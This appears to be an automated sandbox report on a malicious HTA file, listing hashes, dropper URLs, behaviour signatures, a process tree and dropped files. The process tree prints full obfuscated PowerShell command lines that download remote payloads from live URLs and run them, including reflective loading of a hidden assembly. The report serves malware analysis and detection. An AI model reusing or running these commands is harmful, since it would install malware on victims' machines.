Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-12-2024 02:17

General

  • Target

    264fc1a50a0f37a599e8cb50572d99a78c493da4837930a480253e04a5963fa9.hta

  • Size

    193KB

  • MD5

    012b83177846ce35f8ae1f6b304ff9c6

  • SHA1

    ae49e4e85d2fe80a83d0aa6420c72246e8b5e17e

  • SHA256

    264fc1a50a0f37a599e8cb50572d99a78c493da4837930a480253e04a5963fa9

  • SHA512

    d48bdf9a62e410254cf3074d7215f922e98d6d1ee0c936fff9c3720a000bdc571758e19a5338b7ad76f70b851aac641a7eaba09b92782d5e57e4921e368d2978

  • SSDEEP

    96:4owZw9d6yfaqcQ6PHO/3g9a8GPcQ6PHQ0/3g9a8GBGl/Qcj/WqgO7fpR1MK95tio:4LwzQcHgODpqPvQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\264fc1a50a0f37a599e8cb50572d99a78c493da4837930a480253e04a5963fa9.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c poWerSHell.eXE -Ex bypasS -NOP -w 1 -c DevIcECreDenTiALDepLOyment ; inVoKE-eXPRESsion($(INvOkE-expReSSIOn('[SYsTEM.TeXt.EncoDINg]'+[CHaR]0x3a+[cHar]58+'utf8.geTStRINg([SYsTEm.CONverT]'+[chAr]58+[cHaR]58+'FRoMBASE64strinG('+[char]0X22+'JGNGT0hOanFQbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZVJkZUZJTmlUaU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWFGUUh5ZyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVHh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsTU0sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTW52bEhRb3AsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtmYmV1bVIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdOdyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMVXRKQlYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY0ZPSE5qcVBsOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xNDIuNjAvNDY2L2tpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlc3Rmb3JtZS50SUYiLCIkRU52OkFQUERBVEFca2lkc25pY2Vmb3JtZXRvZ2V0YmFja2dyZWF0dGhpbmdzd2l0aG5ldGllcnRpbWVnaXZlbm1lYmVzLnZiUyIsMCwwKTtTdEFSdC1zTGVFcCgzKTtJblZvS0UtRXhQUkVTc2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGtpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlcy52YlMi'+[CHaR]0X22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        poWerSHell.eXE -Ex bypasS -NOP -w 1 -c DevIcECreDenTiALDepLOyment ; inVoKE-eXPRESsion($(INvOkE-expReSSIOn('[SYsTEM.TeXt.EncoDINg]'+[CHaR]0x3a+[cHar]58+'utf8.geTStRINg([SYsTEm.CONverT]'+[chAr]58+[cHaR]58+'FRoMBASE64strinG('+[char]0X22+'JGNGT0hOanFQbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZVJkZUZJTmlUaU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWFGUUh5ZyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVHh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsTU0sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTW52bEhRb3AsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtmYmV1bVIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdOdyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMVXRKQlYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY0ZPSE5qcVBsOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xNDIuNjAvNDY2L2tpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlc3Rmb3JtZS50SUYiLCIkRU52OkFQUERBVEFca2lkc25pY2Vmb3JtZXRvZ2V0YmFja2dyZWF0dGhpbmdzd2l0aG5ldGllcnRpbWVnaXZlbm1lYmVzLnZiUyIsMCwwKTtTdEFSdC1zTGVFcCgzKTtJblZvS0UtRXhQUkVTc2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGtpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlcy52YlMi'+[CHaR]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2340
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uhhabkv3.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2592
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES18DF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC18DE.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2740
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\kidsniceformetogetbackgreatthingswithnetiertimegivenmebes.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • System Time Discovery
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $portioned = 'JHByZW9idGFpbnMgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskbGFsbHlnYWdnaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskdGF1bnRpbmdseSA9ICRsYWxseWdhZ2dpbmcuRG93bmxvYWREYXRhKCRwcmVvYnRhaW5zKTskbm9udmlyZ2lucyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0YXVudGluZ2x5KTskbmV3c21lbiA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskc3Bpcml0dWFsaXN0aWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRhc2Fmb2V0aWRhcyA9ICRub252aXJnaW5zLkluZGV4T2YoJG5ld3NtZW4pOyRzbm9vemUgPSAkbm9udmlyZ2lucy5JbmRleE9mKCRzcGlyaXR1YWxpc3RpYyk7JGFzYWZvZXRpZGFzIC1nZSAwIC1hbmQgJHNub296ZSAtZ3QgJGFzYWZvZXRpZGFzOyRhc2Fmb2V0aWRhcyArPSAkbmV3c21lbi5MZW5ndGg7JG95ZXMgPSAkc25vb3plIC0gJGFzYWZvZXRpZGFzOyRzdGlsbGluZyA9ICRub252aXJnaW5zLlN1YnN0cmluZygkYXNhZm9ldGlkYXMsICRveWVzKTskaG9sbG93bmVzc2VzID0gLWpvaW4gKCRzdGlsbGluZy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkc3RpbGxpbmcuTGVuZ3RoKV07JGNvbGVzbGF3cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhvbGxvd25lc3Nlcyk7JG1hbmFnZW1lbnRzID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkY29sZXNsYXdzKTskamV3ZmlzaCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRqZXdmaXNoLkludm9rZSgkbnVsbCwgQCgnMC9uQ3gzMC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJGZvcmViZWFyJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCAnQ2FzUG9sJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCcxJywnJGZvcmViZWFyJykpOw==';$reprovals = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($portioned));Invoke-Expression $reprovals
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1472

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab29F0.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES18DF.tmp

    Filesize

    1KB

    MD5

    bb0c055ef15e69a753ba1c36e750e9ed

    SHA1

    8f88bf0a0f8ae8b0b38fb6a9fb15bf24b1e6f554

    SHA256

    1415bcc6841cefbb10cd2f893be697e541a17f441fed1d6351492a9d21c8499e

    SHA512

    e9a33538eeaf3617d72930617d3711200a0b89d9f61ae69fbee0752d0ce1441e4f8a8448673cd14edde40f085bc47d7c86aeee6ef84a3cb88aebaa189a480d4f

  • C:\Users\Admin\AppData\Local\Temp\Tar29F3.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\uhhabkv3.dll

    Filesize

    3KB

    MD5

    8870e504bd46cacd1d89a37cbfe638fe

    SHA1

    0588e409f5e30d83f896a8b50462cb248d3ceee3

    SHA256

    96ff3581c366df34de39618fff7f977eabb0700eaede0321c33ed39b54c0dfe0

    SHA512

    d8ff34eb28a2f14135c63f41010118ebe6b6b5107ca88f76a3a0515e00f2ab3119e5b8eed86fa85f78030cc34e025633c023a9e9fc5327c5bc6c4a15a0b1281e

  • C:\Users\Admin\AppData\Local\Temp\uhhabkv3.pdb

    Filesize

    7KB

    MD5

    216b04d66744de794d1a87618a82513f

    SHA1

    a17e05648d9920321552e4f257a077e63d7140ea

    SHA256

    8e812f5fd71246d82d44e42779c3d29f945ac99120554edac4772eb45a8fd482

    SHA512

    3716686e2c369ed0aa46853600267ef12a9b803554766075aa9189caae74bc7d5da27ae4505400aeb0b26eed3f9a76f4ded2f5b1877c5096fe7f6129946e1d3b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    36d1dab66c5efb5440781cc711ab6842

    SHA1

    d8e76fdac0da29408845ed146ee19d43e76e0812

    SHA256

    39e7a5245797a6bf759a0c67122cdc5b21342a23b86c2cc3eaf96d81052fbbbf

    SHA512

    6315ff1d532833eddba3a6b8cd1124fa15d709899ba54adf53b9a7cf03dc8b75fba2e39fcf951d3fc33d8bf37d23b0f300e13d299c75fca64b1a6c2ca9f29b62

  • C:\Users\Admin\AppData\Roaming\kidsniceformetogetbackgreatthingswithnetiertimegivenmebes.vbS

    Filesize

    150KB

    MD5

    5ce00a79a9f41d260446bfdcc6267adf

    SHA1

    0b2b90beb56c59916b98004b1444698538729822

    SHA256

    efab5d21ed82f610bc5f1734b909a7e5c3a6c2ecebb276dd03b4d5baf8e9b058

    SHA512

    d4de7fe61f23ce7524ed3123319ac93f33ae1806bd426045ca9df1fa9ee82cca58aa314711bbde6a6ffa2eee98dc20cc5e4d80d2ec7abb028be0639944714fee

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC18DE.tmp

    Filesize

    652B

    MD5

    ecb82be082870cd0b831ab2a37b6b2bd

    SHA1

    33c9583789b474954ddc88d0ed740a6547702e75

    SHA256

    12851365c9a524054c7292656c871843e81ce7dc70be719c7cb39aa5fa792a1c

    SHA512

    bd589b7c63272d65f88e8b1305c2ebc8822b4e0ec667912e98cae72e7c6356e5d8dfb5720b9b60475e52f86e5af7d3eb5196f28086157557aee2be6ad137b552

  • \??\c:\Users\Admin\AppData\Local\Temp\uhhabkv3.0.cs

    Filesize

    482B

    MD5

    8c16810a9a149ee7b288951c6afdfcd1

    SHA1

    4322374e8321e8a97ab6af0b6a23bb3f016c9713

    SHA256

    95c610a9e86321d9dea63594d0d9c9cb72c5dc56edf8f78f25736a76cac0d949

    SHA512

    0e37863619591fdd2cde0ae8ead71ef856695e299e9bb76266f1b40588d3f7e26521f7cb0bedcfa2a0809224dc02b076d4a07a1d247b23adb30e79ca5f626564

  • \??\c:\Users\Admin\AppData\Local\Temp\uhhabkv3.cmdline

    Filesize

    309B

    MD5

    dfbb9586e21cd645ad268ae60ad8ea96

    SHA1

    06d5f12155459546ac651d55ae44e965921dd84f

    SHA256

    f4d79db2b13c6a4f39ea6f6da6cf890a42e106a4f5ec96ea2b9144a24084b7ba

    SHA512

    596f36b0d34c10e50a637548a25e3f9305948d86a45624dfeaa4b07cf074bee29c596abb486785e556c8039e2bbcf31ba325530a502a8ccb9d1cfce421e8940d